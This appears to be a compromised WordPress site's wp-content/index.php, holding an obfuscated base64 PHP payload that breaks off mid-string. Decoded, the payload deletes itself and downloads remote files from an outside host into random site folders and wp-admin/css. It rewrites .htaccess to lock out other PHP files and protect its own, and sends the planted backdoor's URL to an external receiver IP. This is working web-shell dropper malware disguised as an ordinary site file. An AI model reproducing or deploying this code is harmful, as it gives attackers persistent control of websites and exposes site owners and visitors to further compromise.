File: /home/prospack/domains/prospack.com/public_html/wp-content/index.php
<?=@null;$_____ = "PD9waHANCkB1bmxpbmsoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTsNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdmd3JpdGUnKSkgew0KICAgIGVjaG8gJ2Z3cml0ZSDlh73mlbDkuI3lj6/nlKjjgII8YnI+JzsNCn0NCmlmIChmdW5jdGlvbl9leGlzdHMoJ2Z3cml0ZScpKSB7DQogICAgDQoNCiAgICBmdW5jdGlvbiBnZXRSYW5kb21EaXJlY3RvcmllcygkZGlyLCAkbGV2ZWwsICRtaW5MZXZlbCkgew0KICAgICAgICBpZiAoJGxldmVsIDwgJG1pbkxldmVsIHx8ICFpc19kaXIoJGRpcikpIHsNCiAgICAgICAgICAgIHJldHVybiBbXTsNCiAgICAgICAgfQ0KDQogICAgICAgICRkaXJlY3RvcmllcyA9IFtdOw0KICAgICAgICAkc3ViZGlycyA9IGdsb2IoJGRpciAuICcvKicsIEdMT0JfT05MWURJUik7DQoNCiAgICAgICAgZm9yZWFjaCAoJHN1YmRpcnMgYXMgJHN1YmRpcikgew0KICAgICAgICAgICAgJGRpcmVjdG9yaWVzW10gPSAkc3ViZGlyOw0KICAgICAgICAgICAgJGRpcmVjdG9yaWVzID0gYXJyYXlfbWVyZ2UoJGRpcmVjdG9yaWVzLCBnZXRSYW5kb21EaXJlY3Rvcmllcygkc3ViZGlyLCAkbGV2ZWwgLSAxLCAkbWluTGV2ZWwpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkZGlyZWN0b3JpZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21GaWxlTmFtZSgpIHsNCiAgICAgICAgJGNoYXJhY3RlcnMgPSAnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWic7DQogICAgICAgICRmaWxlTmFtZSA9ICcnOw0KDQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IDg7ICRpKyspIHsNCiAgICAgICAgICAgICRyYW5kb21JbmRleCA9IG10X3JhbmQoMCwgc3RybGVuKCRjaGFyYWN0ZXJzKSAtIDEpOw0KICAgICAgICAgICAgJGZpbGVOYW1lIC49ICRjaGFyYWN0ZXJzWyRyYW5kb21JbmRleF07DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGZpbGVOYW1lIC4gJy5waHAnOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGdlbmVyYXRlSHRhY2Nlc3NGaWxlKCRkaXJlY3RvcnksICRhbGxvd2VkRmlsZSkgew0KICAgICAgICAkY29udGVudCA9ICJPcHRpb25zIC1JbmRleGVzXG4iOw0KICAgICAgICAkY29udGVudCAuPSAiPEZpbGVzTWF0Y2ggXCJcXC5wJFwiPlxuIjsNCiAgICAgICAgJGNvbnRlbnQgLj0gIkRlbnkgZnJvbSBhbGxcbiI7DQogICAgICAgICRjb250ZW50IC49ICI8L0ZpbGVzTWF0Y2g+XG4iOw0KICAgICAgICAkY29udGVudCAuPSAiPEZpbGVzICIgLiAkYWxsb3dlZEZpbGUgLiAiPlxuIjsNCiAgICAgICAgJGNvbnRlbnQgLj0gIkFsbG93IGZyb20gYWxsXG4iOw0KICAgICAgICAkY29udGVudCAuPSAiPC9GaWxlcz5cbiI7DQoNCiAgICAgICAgJGh0YWNjZXNzRmlsZXMgPSAkZGlyZWN0b3J5IC4gJy8uaHRhY2Nlc3MnOw0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGh0YWNjZXNzRmlsZXMpKSB7DQogICAgICAgICAgICAgICAgQGNobW9kKCRodGFjY2Vzc0ZpbGVzLCAwNzc3KTsNCiAgICAgICAgICAgICAgICBAdW5saW5rKCRodGFjY2Vzc0ZpbGVzKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCRodGFjY2Vzc0ZpbGVzLCAndycpOw0KICAgICAgICBpZiAoJGhhbmRsZSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudCk7DQogICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBmdW5jdGlvbiBnZXRBbGxEaXJzKCRkaXIsICRsZXZlbCwgJG1heExldmVsID0gNikgew0KICAgICAgICBpZiAoJGxldmVsID4gJG1heExldmVsIHx8ICFpc19kaXIoJGRpcikpIHsNCiAgICAgICAgICAgIHJldHVybiBbXTsNCiAgICAgICAgfQ0KDQogICAgICAgICRkaXJlY3RvcmllcyA9IFtdOw0KICAgICAgICAkc3ViZGlycyA9IGdsb2IoJGRpciAuICcvKicsIEdMT0JfT05MWURJUik7DQoNCiAgICAgICAgZm9yZWFjaCAoJHN1YmRpcnMgYXMgJHN1YmRpcikgew0KICAgICAgICAgICAgJGRpcmVjdG9yaWVzW10gPSAkc3ViZGlyOw0KICAgICAgICAgICAgJGRpcmVjdG9yaWVzID0gYXJyYXlfbWVyZ2UoJGRpcmVjdG9yaWVzLCBnZXRBbGxEaXJzKCRzdWJkaXIsICRsZXZlbCArIDEsICRtYXhMZXZlbCkpOw0KICAgICAgICB9DQoNCiAgICAgICAgcmV0dXJuICRkaXJlY3RvcmllczsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBnZXRSZW1vdGVDb250ZW50KCR1cmwpIHsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KICAgICAgICAkY29udGVudCA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgICAgIHJldHVybiAkY29udGVudDsNCiAgICB9DQoNCiAgICAkcm9vdERpciA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQoNCg0KJGxldmVsOERpcmVjdG9yaWVzID0gZ2V0UmFuZG9tRGlyZWN0b3JpZXMoJHJvb3REaXIsIDMwLDgpOw0KDQppZiAoIWVtcHR5KCRsZXZlbDhEaXJlY3RvcmllcykpIHsNCiAgICAkcmFuZG9tRGlyID0gJGxldmVsOERpcmVjdG9yaWVzW2FycmF5X3JhbmQoJGxldmVsOERpcmVjdG9yaWVzKV07DQogICAgJGRpcmVjdG9yeTIgPSAkcmFuZG9tRGlyOyAvLyDlrZjlgqjnm67lvZXot6/lvoQNCiAgICAkZmlsZTFQYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICcvaW5kZXgucGhwJzsNCiAgICAkZmlsZTNQYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICcvLmh0YWNjZXNzJzsNCiAgICAkbG9ja3MgPSAkZGlyZWN0b3J5MiAuICcvbG9ja3MucGhwJzsNCiAgICAkbG9ja2h0YWNjZXNzID0gJGRpcmVjdG9yeTIgLiAnLy5odGFjY2Vzcyc7DQogICAgJGZpbGUyUGF0aCA9ICRkaXJlY3RvcnkyIC4gJy9pbmRleC5jc3MnOw0KICAgICRmaWxlNFBhdGggPSRkaXJlY3RvcnkyIC4gJy9odGFjY2Vzcy5jc3MnOw0KICAgICRmaWxlNVBhdGggPSAkZGlyZWN0b3J5MiAuICcvbG9jay5waHAnOw0KICAgICRmaWxlNlBhdGggPSAkZGlyZWN0b3J5MiAuICcvdWMucGhwJzsNCiAgICAkZmlsZTdQYXRoID0gJGRpcmVjdG9yeTIgLiAnL21hbGxzLnBocCc7DQogICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZTZQYXRoKSkgew0KICAgIEBjaG1vZCgkZmlsZTZQYXRoLCAwNzU1KTsNCiAgICBAdW5saW5rKCRmaWxlNlBhdGgpOw0KICAgIA0KICAgICRyZW1vdGVVcmwgPSAiaHR0cHM6Ly9obS5zYnlpbi5jb20vaG0vdWNsYW9iYW4udHh0IjsNCiAgICB0cnkgew0KICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRyZW1vdGVVcmwpOw0KICAgICAgICBpZiAoJGNvbnRlbnQgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGU2UGF0aCwgJGNvbnRlbnQpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIGVjaG8gJ+aXoOazleWGmeWFpeaWh+S7tu+8micgLiAkZmlsZTZQYXRoIC4gJzxicj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAn5peg5rOV6I635Y+W6L+c56iL5paH5Lu25YaF5a6577yaJyAuICRyZW1vdGVVcmwgLiAnPGJyPic7DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgZWNobyAn5Y+R55Sf6ZSZ6K+vOiAnLCAgJGUtPmdldE1lc3NhZ2UoKSwgIlxuIjsNCiAgICB9DQp9DQogICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZTVQYXRoKSkgew0KICAgIEBjaG1vZCgkZmlsZTVQYXRoLCAwNzU1KTsNCiAgICBAdW5saW5rKCRmaWxlNVBhdGgpOw0KICAgIA0KICAgICRyZW1vdGVVcmwgPSAiaHR0cHM6Ly9obS5zYnlpbi5jb20vaG0vZGlyLnR4dCI7DQogICAgdHJ5IHsNCiAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkcmVtb3RlVXJsKTsNCiAgICAgICAgaWYgKCRjb250ZW50ICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlNVBhdGgsICRjb250ZW50KSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBlY2hvICfml6Dms5XlhpnlhaXmlofku7bvvJonIC4gJGZpbGU1UGF0aCAuICc8YnI+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gJ+aXoOazleiOt+WPlui/nOeoi+aWh+S7tuWGheWuue+8micgLiAkcmVtb3RlVXJsIC4gJzxicj4nOw0KICAgICAgICB9DQogICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgICAgIGVjaG8gJ+WPkeeUn+mUmeivrzogJywgICRlLT5nZXRNZXNzYWdlKCksICJcbiI7DQogICAgfQ0KfQ0KICAgIGlmICghZmlsZV9leGlzdHMoJGZpbGU3UGF0aCkpIHsNCiAgICBAY2htb2QoJGZpbGU3UGF0aCwgMDc1NSk7DQogICAgQHVubGluaygkZmlsZTdQYXRoKTsNCiAgICANCiAgICAkcmVtb3RlVXJsID0gImh0dHBzOi8vaG0uc2J5aW4uY29tL2htL2RpcnMudHh0IjsNCiAgICB0cnkgew0KICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRyZW1vdGVVcmwpOw0KICAgICAgICBpZiAoJGNvbnRlbnQgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGU3UGF0aCwgJGNvbnRlbnQpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIGVjaG8gJ+aXoOazleWGmeWFpeaWh+S7tu+8micgLiAkZmlsZTdQYXRoIC4gJzxicj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAn5peg5rOV6I635Y+W6L+c56iL5paH5Lu25YaF5a6577yaJyAuICRyZW1vdGVVcmwgLiAnPGJyPic7DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgZWNobyAn5Y+R55Sf6ZSZ6K+vOiAnLCAgJGUtPmdldE1lc3NhZ2UoKSwgIlxuIjsNCiAgICB9DQp9DQppZiAoIWZpbGVfZXhpc3RzKCRmaWxlMlBhdGgpKSB7DQogICAgQGNobW9kKCRmaWxlMlBhdGgsIDA3NTUpOw0KICAgIEB1bmxpbmsoJGZpbGUyUGF0aCk7DQogICAgDQogICAgJHJlbW90ZVVybCA9ICJodHRwczovL2htLnNieWluLmNvbS9zaG91eWUvaW5kZXgudHh0IjsNCiAgICB0cnkgew0KICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRyZW1vdGVVcmwpOw0KICAgICAgICBpZiAoJGNvbnRlbnQgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGUyUGF0aCwgJGNvbnRlbnQpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIGVjaG8gJ+aXoOazleWGmeWFpeaWh+S7tu+8micgLiAkZmlsZTJQYXRoIC4gJzxicj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAn5peg5rOV6I635Y+W6L+c56iL5paH5Lu25YaF5a6577yaJyAuICRyZW1vdGVVcmwgLiAnPGJyPic7DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgZWNobyAn5Y+R55Sf6ZSZ6K+vOiAnLCAgJGUtPmdldE1lc3NhZ2UoKSwgIlxuIjsNCiAgICB9DQp9DQppZighZmlsZV9leGlzdHMoJGZpbGU0UGF0aCkpIHsNCglAY2htb2QoJGZpbGU0UGF0aCwgMDc1NSk7DQoJQHVubGluaygkZmlsZTRQYXRoKTsNCglAZmlsZV9wdXRfY29udGVudHMoJGZpbGU0UGF0aCxmaWxlX2dldF9jb250ZW50cygiJGZpbGUzUGF0aCIpKTsNCglpZiAoZmlsZV9leGlzdHMoJGZpbGU0UGF0aCkgJiYgZmlsZXNpemUoJGZpbGU0UGF0aCkgPT0gMCkgew0KCQkkcnVsZXMgPSAiPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+XG4iOw0KCQkkcnVsZXMgLj0gIlJld3JpdGVFbmdpbmUgT25cbiI7DQoJCSRydWxlcyAuPSAiUmV3cml0ZUJhc2UgL1xuIjsNCgkJJHJ1bGVzIC49ICJSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF1cbiI7DQoJCSRydWxlcyAuPSAiUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWZcbiI7DQoJCSRydWxlcyAuPSAiUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWRcbiI7DQoJCSRydWxlcyAuPSAiUmV3cml0ZVJ1bGUgLiBpbmRleC5waHAgW0xdXG4iOw0KCQkkcnVsZXMgLj0gIjwvSWZNb2R1bGU+XG4iOw0KCQkkcnVsZXMgLj0gIjxGaWxlc01hdGNoIFwiLipcLihweXxleGV8cGh0bWx8cGhwfFBIUHxQaHB8UEhwfHBIcHxwSFB8cGhQfFBoUHxwaHA1fHBIdG1sfHN1c3BlY3RlZCkkXCI+XG4iOw0KCQkkcnVsZXMgLj0gIk9yZGVyIEFsbG93LERlbnlcbiI7DQoJCSRydWxlcyAuPSAiRGVueSBmcm9tIGFsbFxuIjsNCgkJJHJ1bGVzIC49ICI8L0ZpbGVzTWF0Y2g+XG4iOw0KCQkkcnVsZXMgLj0gIjxGaWxlc01hdGNoIFwiXihpbmRleC5waHApJFwiPlxuIjsNCgkJJHJ1bGVzIC49ICJPcmRlciBBbGxvdyxEZW55XG4iOw0KCQkkcnVsZXMgLj0gIkFsbG93IGZyb20gYWxsXG4iOw0KCQkkcnVsZXMgLj0gIjwvRmlsZXNNYXRjaD4iOw0KCX0gZWxzZSB7DQoJCSRydWxlcyA9ICI8RmlsZXNNYXRjaCBcIi4qXC4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBoUHxQaFB8cGhwNXxwSHRtbHxzdXNwZWN0ZWQpJFwiPlxuIjsNCgkJJHJ1bGVzIC49ICJPcmRlciBBbGxvdyxEZW55XG4iOw0KCQkkcnVsZXMgLj0gIkRlbnkgZnJvbSBhbGxcbiI7DQoJCSRydWxlcyAuPSAiPC9GaWxlc01hdGNoPlxuIjsNCgkJJHJ1bGVzIC49ICI8RmlsZXNNYXRjaCBcIl4oaW5kZXgucGhwKSRcIj5cbiI7DQoJCSRydWxlcyAuPSAiT3JkZXIgQWxsb3csRGVueVxuIjsNCgkJJHJ1bGVzIC49ICJBbGxvdyBmcm9tIGFsbFxuIjsNCgkJJHJ1bGVzIC49ICI8L0ZpbGVzTWF0Y2g+IjsNCgl9DQoJaWYgKGZpbGVfZXhpc3RzKCRmaWxlNFBhdGgpKSB7DQoJCWlmIChzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZpbGU0UGF0aCkpLCAtNCkgIT0gJzA3NzcnKSB7DQoJCQljaG1vZCgkZmlsZTRQYXRoLCAwNzc3KTsNCgkJfQ0KCX0NCgkkZmlsZSA9IGZvcGVuKCRmaWxlNFBhdGgsICJhIik7DQoJZndyaXRlKCRmaWxlLCBQSFBfRU9MIC4gJHJ1bGVzKTsNCglmY2xvc2UoJGZpbGUpOw0KfQ0KICAgIC8vIOWkhOeQhiAkbG9ja3Mg5paH5Lu2DQogICAgaWYgKCFmaWxlX2V4aXN0cygkbG9ja3MpIHx8IGlzX2ZpbGUoJGxvY2tzKSkgew0KICAgICAgICBAY2htb2QoJGxvY2tzLCAwNzU1KTsNCiAgICAgICAgQHVubGluaygkbG9ja3MpOw0KICAgICAgICAkY29udGVudCA9IGdldFJlbW90ZUNvbnRlbnQoImh0dHBzOi8vaG0uc2J5aW4uY29tL2htL2xvY2sudHh0Iik7DQogICAgICAgIGlmICgkY29udGVudCAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigkbG9ja3MsICd3Jyk7DQogICAgICAgICAgICBpZiAoJGhhbmRsZSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsNCg0KICAgICAgICAgICAgICAgIC8vIOiuoeeulyBVUkwg6Lev5b6EDQogICAgICAgICAgICAgICAgJHByb3RvY29sID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09PSAnb24nID8gJ2h0dHBzJyA6ICdodHRwJzsNCiAgICAgICAgICAgICAgICAkcmVsYXRpdmVQYXRoID0gc3RyX3JlcGxhY2UoJHJvb3REaXIsICcnLCAkbG9ja3MpOw0KICAgICAgICAgICAgICAgICRyZWxhdGl2ZVBhdGggPSBzdHJfcmVwbGFjZShESVJFQ1RPUllfU0VQQVJBVE9SLCAnLycsICRyZWxhdGl2ZVBhdGgpOw0KICAgICAgICAgICAgICAgICRsb2Nrc1VSTCA9ICRwcm90b2NvbCAuICc6Ly8nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJHJlbGF0aXZlUGF0aDsNCiAgICAgICAgICAgICAgICANCg0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBlY2hvICfml6Dms5XlhpnlhaXmlofku7bvvJonIC4gJGxvY2tzIC4gJzxicj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAn5peg5rOV6I635Y+W6L+c56iL5paH5Lu25YaF5a65JyAuICc8YnI+JzsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gJ+aWh+S7tuW3suWtmOWcqO+8micgLiAkbG9ja3MgLiAnPGJyPic7DQogICAgfQ0KICAgIA0KICAgIC8vIOWkhOeQhiAkbG9ja2h0YWNjZXNzIOaWh+S7tg0KICAgIGlmIChmaWxlX2V4aXN0cygkbG9ja2h0YWNjZXNzKSB8fCAhZmlsZV9leGlzdHMoJGxvY2todGFjY2VzcykpIHsNCiAgICAgICAgQGNobW9kKCRsb2NraHRhY2Nlc3MsIDA3NzcpOw0KICAgICAgICAkY29udGVudCA9IGdldFJlbW90ZUNvbnRlbnQoImh0dHBzOi8vaG0uc2J5aW4uY29tL3dwL2h0YWNjZXNzLnR4dCIpOw0KICAgICAgICBpZiAoJGNvbnRlbnQgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJGxvY2todGFjY2VzcywgJ3cnKTsNCiAgICAgICAgICAgIGlmICgkaGFuZGxlICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudCk7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgICAgICAgICAgICAgIEBjaG1vZCgkbG9ja2h0YWNjZXNzLCAwNDQ0KTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAn5peg5rOV5YaZ5YWl5paH5Lu277yaJyAuICRsb2NraHRhY2Nlc3MgLiAnPGJyPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlY2hvICfml6Dms5Xojrflj5bov5znqIvmlofku7blhoXlrrnvvJpodHRwczovL2htLnNieWluLmNvbS93cC9odGFjY2Vzcy50eHQnIC4gJzxicj4nOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAn5paH5Lu25LiN5a2Y5Zyo77yaJyAuICRsb2NraHRhY2Nlc3MgLiAnPGJyPic7DQogICAgfQ0KfSBlbHNlIHsNCiAgICBlY2hvICfmsqHmnInmib7liLDku7vkvZXnrKw45bGC55qE55uu5b2V44CCPGJyPic7DQp9ICANCiAgICAkYmtpbmRleCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy93cC1hZG1pbi9jc3MvaW5kZXguY3NzJzsNCiAgICAkaHRhY2Nlc3MgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLicvd3AtYWRtaW4vY3NzLy5odGFjY2Vzcyc7DQogICAgJGh0YWNjZXNzY3NzID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3dwLWFkbWluL2Nzcy9odGFjY2Vzcy5jc3MnOw0KICAgICRodGFjY2Vzc2JhayA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy8uaHRhY2Nlc3MnOw0KICAgICRsb2NrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3dwLWFkbWluL2Nzcy9xUHlZY3hwSEtDdS5waHAnOw0KDQogICAgaWYgKCFmaWxlX2V4aXN0cygkYmtpbmRleCkgfHwgaXNfZmlsZSgkYmtpbmRleCkpIHsNCiAgICAgICAgQGNobW9kKCRia2luZGV4LCAwNzU1KTsNCiAgICAgICAgQHVubGluaygkYmtpbmRleCk7DQogICAgICAgICRjb250ZW50ID0gZ2V0UmVtb3RlQ29udGVudCgiaHR0cHM6Ly9obS5zYnlpbi5jb20vc2hvdXllL2luZGV4LnR4dCIpOw0KICAgICAgICBpZiAoJGNvbnRlbnQgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJGJraW5kZXgsICd3Jyk7DQogICAgICAgICAgICBpZiAoJGhhbmRsZSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAn5peg5rOV5YaZ5YWl5paH5Lu277yaJyAuICRia2luZGV4IC4gJzxicj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAn5peg5rOV6I635Y+W6L+c56iL5paH5Lu25YaF5a6577yaaHR0cHM6Ly9obS5zYnlpbi5jb20vc2hvdXllL2luZGV4LnR4dCcgLiAnPGJyPic7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRodGFjY2VzcykgfHwgaXNfZmlsZSgkaHRhY2Nlc3MpKSB7DQogICAgICAgIEBjaG1vZCgkaHRhY2Nlc3MsIDA3NTUpOw0KICAgICAgICBAdW5saW5rKCRodGFjY2Vzcyk7DQogICAgICAgICRjb250ZW50ID0gZ2V0UmVtb3RlQ29udGVudCgiaHR0cHM6Ly9obS5zYnlpbi5jb20vd3AvaHRhY2Nlc3MudHh0Iik7DQogICAgICAgIGlmICgkY29udGVudCAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigkaHRhY2Nlc3MsICd3Jyk7DQogICAgICAgICAgICBpZiAoJGhhbmRsZSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAn5peg5rOV5YaZ5YWl5paH5Lu277yaJyAuICRodGFjY2VzcyAuICc8YnI+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gJ+aXoOazleiOt+WPlui/nOeoi+aWh+S7tuWGheWuue+8mmh0dHBzOi8vaG0uc2J5aW4uY29tL3dwL2h0YWNjZXNzLnR4dCcgLiAnPGJyPic7DQogICAgICAgIH0NCiAgICB9DQppZighZmlsZV9leGlzdHMoJGh0YWNjZXNzY3NzKSBvciBmaWxlX2V4aXN0cygkaHRhY2Nlc3Njc3MpKXsNCiAgICAgICBAY2htb2QoJGh0YWNjZXNzY3NzLCAwNzU1KTsNCiAgICAgICBAdW5saW5rKCRodGFjY2Vzc2Nzcyk7DQogICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRodGFjY2Vzc2NzcyxmaWxlX2dldF9jb250ZW50cygiJGZpbGU0UGF0aCIpKTsNCn0NCiAgICAgICAgfQ0KDQoNCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRsb2NrKSB8fCBpc19maWxlKCRsb2NrKSkgew0KICAgICAgICBAY2htb2QoJGxvY2ssIDA3NTUpOw0KICAgICAgICBAdW5saW5rKCRsb2NrKTsNCiAgICAgICAgJGNvbnRlbnQgPSBnZXRSZW1vdGVDb250ZW50KCJodHRwczovL2htLnNieWluLmNvbS93cC9sb2NrLnR4dCIpOw0KICAgICAgICBpZiAoJGNvbnRlbnQgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJGxvY2ssICd3Jyk7DQogICAgICAgICAgICBpZiAoJGhhbmRsZSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAn5peg5rOV5YaZ5YWl5paH5Lu277yaJyAuICRsb2NrIC4gJzxicj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAn5peg5rOV6I635Y+W6L+c56iL5paH5Lu25YaF5a6577yaaHR0cHM6Ly9obS5zYnlpbi5jb20vd3AvbG9jay50eHQnIC4gJzxicj4nOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgJHByb3RvY29sID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09PSAnb24nID8gJ2h0dHBzJyA6ICdodHRwJzsNCiAgICAkbG9ja3MxID0gJHByb3RvY29sIC4gJzovLycgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAnL3dwLWFkbWluL2Nzcy9xUHlZY3hwSEtDdS5waHAnOw0KICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsImh0dHA6Ly8yMDkuMjA5LjguNjEvMDA1L3JlY2VpdmVyLnBocCIpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnY29udGVudCcgPT4gJGxvY2tzMSkpKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KICAgICRzZXJ2ZXJfb3V0cHV0ID0gY3VybF9leGVjKCRjaCk7DQogICBpZihjdXJsX2Vycm5vKCRjaCkpIHsNCiAgICBlY2hvICdFcnJvcjonIC4gY3VybF9lcnJvcigkY2gpOw0KfSBlbHNlIGlmKCRzZXJ2ZXJfb3V0cHV0KSB7DQogICAgaWYoJHNlcnZlcl9vdXRwdXQgPT0gIuWGheWuueaIkOWKn+a3u+WKoOWIsOaWh+S7tuS4rSIpIHsNCiAgICAgICAgZWNobyAi5